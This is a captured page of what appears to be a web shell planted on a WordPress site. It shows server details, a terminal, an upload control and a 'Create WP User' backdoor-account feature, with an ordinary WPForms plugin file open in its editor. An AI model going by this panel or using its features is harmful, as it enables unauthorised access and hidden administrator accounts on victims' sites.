Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
wpforms-lite
/
src
/
Integrations
/
WPCode
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
RegisterLibrary.php
1.05 KB
-rw-r--r--
2026-02-24 15:21
WPCode.php
4.85 KB
-rw-r--r--
2026-02-24 15:21
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
RegisterLibrary.php
<?php namespace WPForms\Integrations\WPCode; use WPForms\Integrations\IntegrationInterface; /** * Register the WPCode library username. * * @since 1.8.5 */ class RegisterLibrary implements IntegrationInterface { /** * Determine if the class is allowed to load. * * @since 1.8.5 * * @return bool * @noinspection PhpMissingReturnTypeInspection * @noinspection ReturnTypeCanBeDeclaredInspection */ public function allow_load() { return is_admin(); } /** * Load the class. * * @since 1.8.5 */ public function load() { $this->hooks(); } /** * Hooks. * * @since 1.8.5 */ private function hooks() { add_action( 'plugins_loaded', [ $this, 'wpforms_register_wpcode_username' ], 20 ); } /** * Register a WPCode Library username so that it's loaded in the library inside the WPCode plugin. * * @since 1.8.5 */ public function wpforms_register_wpcode_username() { if ( ! function_exists( 'wpcode_register_library_username' ) ) { return; } wpcode_register_library_username( 'wpforms', 'WPForms' ); } }
关闭
保存